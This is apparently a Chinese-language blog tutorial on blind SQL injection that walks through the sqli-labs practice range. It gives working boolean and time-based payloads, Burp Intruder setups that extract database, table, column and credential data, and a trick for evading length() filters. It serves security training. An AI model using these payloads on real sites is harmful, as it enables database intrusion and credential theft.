渗透测试---手把手教你SQL注入(2)---盲注

前置拓展内容:渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)icon-default.png?t=N7T8http://t.csdnimg.cn/kJxBrBypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)icon-default.png?t=N7T8http://t.csdnimg.cn/BicwG

在SQL注入攻击中,盲注是一种常见的攻击方法。盲注是指在不知道目标数据库确切结构的情况下,攻击者通过猜测数据库结构和表结构,尝试构造恶意的SQL语句并加以执行,以获取敏感信息。在盲注过程中,猜测数据库结构和表结构以及代码的具体执行过程是核心要务.

非对即错---布尔盲注

本节的实例为sqli-labs-master靶场的第8关

如果页面仅仅会返回TrueFalse。那么就可以考虑布尔盲注,布尔盲注就是在进行SQL注入之后再根据页面返回的True或者是False来得到数据库中的相关信息。(也就是不断试错)布尔盲注适用于页面没有回显字段(不支持联合查询),而且web页面返回true或者false的情况,构造sql语句并利用and or 等关键词来使web页面返回true或者false,从而达到注入的目的以获取信息。

还可以根据BurpSuite中响应的字节数来判断 

 

 接下来,我们就需要借助BurpSuite的intruder(攻击器模块)----

但在这之前,我们需要做充分的准备工作---

首先构造一个轮子

and 1=if(1=1,1,0)
亦即
and 1=if(需要判断的内容,1,0)

小试牛刀---获取特定数据

获取user()的数据长度
and 1=if(length(user())=12,1,0)

sniper模式中添加payload:

 

据此判断出user()长度为14

爆破出user()的数据内容
and 1=if(mid(user(),1,1)='a',1,0) --+

MID()函数用于从字符串中提取指定位置的子串。它的语法如下:
MID(str,start,length)
str:要从中提取子串的原始字符串。
start:指定要开始提取的位置。位置索引从1开始计数。
length:可选参数,指定要提取的子串的长度。

 使用最后一个模块--Clusterbomb

  payload1的配置:

payload2的配置:

 

 排序后的结果集(先排序payload1,再排序长度):

最终得出user()的数据内容为root@localhost

以上只是诸多方法中的一种,实战中也可以使用其他方法,比如在判断长度时,具体的数值可以用对应数量的符号代替:

and length(user())=12可以替换为
and user() like '____________'
这里使用12个'下滑线_'来绕过对length()函数的检测

让子弹飞一会儿---时间盲注 

本节实例采用sqli-labs-master的第48关

在某些及其特殊的情况下,无论输入何值,web页面和BP响应中的字节数都没有任何变化,大部分同学可能到这里就放弃采用sql注入了,但是不要灰心,我们还有另外一种判断方法----时间盲注----加入特定的时间函数(例如sleep()),通过查看web页面返回的时间差来判断注入的语句是否正确。但是这种情况出现的极少,实战中很少遇到,这里仅对原理进行详解,具体实例不做赘述

如图,无论如何操作,响应的字节数都不变:

 但是,我们可以通过结果的时间差来进行判断:

and if(1=1,sleep(0.1),1) --+  TRUE:响应的时间更长
and if(1=2,sleep(0.1),1) --+  FALSE:时间更短
借助时间差获取数据长度:

 

 注意:需要根据不同的环境来更改sleep()中的参数 

 接下来,我们就可以使用不同的盲注方式注出数据库名,用户名/密码

靶场实战---使用布尔盲注

得到数据库的长度和名字
注出数据库的长度
/sqli-labs-master/Less-8/?id=1'+and+1=if(length(database())=1,1,0)+--+ 

结果是8位

爆破出数据库名
/Less-8/?id=1'+and+1=if(mid(database(),1,1)='a',1,0)+--+ 
这里的mid()也可以用其他函数代替,如left,right,substr

 需要先对Payload1排序,再对长度排序

得到数据表的长度和名字
注出数据表的长度
/sqli-labs-master/Less-8/?id=1'+and
+length(
(select+group_concat(table_name)+from+information_schema.tables
+where+table_schema='security')
)=1+--+
注意length()中的select语句需要额外括起来!

爆破数据表名
/Less-8/?id=1'+and+mid(
(select+group_concat(table_name)+from+information_schema.tables
+where+table_schema='security')
,1,1)='a'+--+

 注意Payload2需要额外添加一个逗号,因为group_concat()默认使用逗号连接

 

得到数据的字段名(列名) 
注出字段名的长度

这里我们选用users表

+and+length(
(select+group_concat(column_name)+from+information_schema.columns
+where+table_schema='security'+and+table_name='users')
)=1+--+

爆破字段名
/Less-8/?id=1'+and+mid(
(select+group_concat(column_name)+from+information_schema.columns
+where+table_schema='security'+and+table_name='users')
,1,1)='a'+--+

得到用户名和密码
注出数据的长度
/Less-8/?id=1'+and+length(
(select+group_concat(username,'~',password)+from+security.users)
)=1--+

最终得到结果多达188位,这样的数据有些太长了,我们不妨使用concat() 和 limit :

/Less-8/?id=1'+and+length(
(select+concat(username,'~',password)+from+security.users+limit+0,1)
)=1--+

 由此得出一共有12个用户名和密码的组合

注出用户名和对应的密码 

这里我们依旧使用concat()和limit来注出特定的用户名和密码,这里我们选第8个(长度为13,limit的索引为7):

/Less-8/?id=1'+and+mid(
(select+concat(username,'~',password)+from+security.users+limit+7,1)
,1,1)='a'--+ 

 那么能否一次性注出所有的用户名和密码呢?

我们来尝试一下,之前我们得知12个账户的长度最大只有19位,保险起见,我们按照20位来:

攻击类型选择ClusterBomb:

 这里定义limit,从0到11,保险起见,我们选择从0到12:

这里定义mid(也就是用户名和密码的最大长度),保险起见我们选择从1到20:

 

 发现最终结果有些凌乱,但不影响获取用户名和密码:

这里需要先对payload1排序再对payload2排序,最后对长度排序

这样虽然也能获得想要的数据,但是最后对数据的处理部分较为繁琐,建议还是使用concat()和limit相结合的方式,一次获取一个用户信息.

前置拓展内容:渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)icon-default.png?t=N7T8http://t.csdnimg.cn/kpEKZ

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洛一方

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值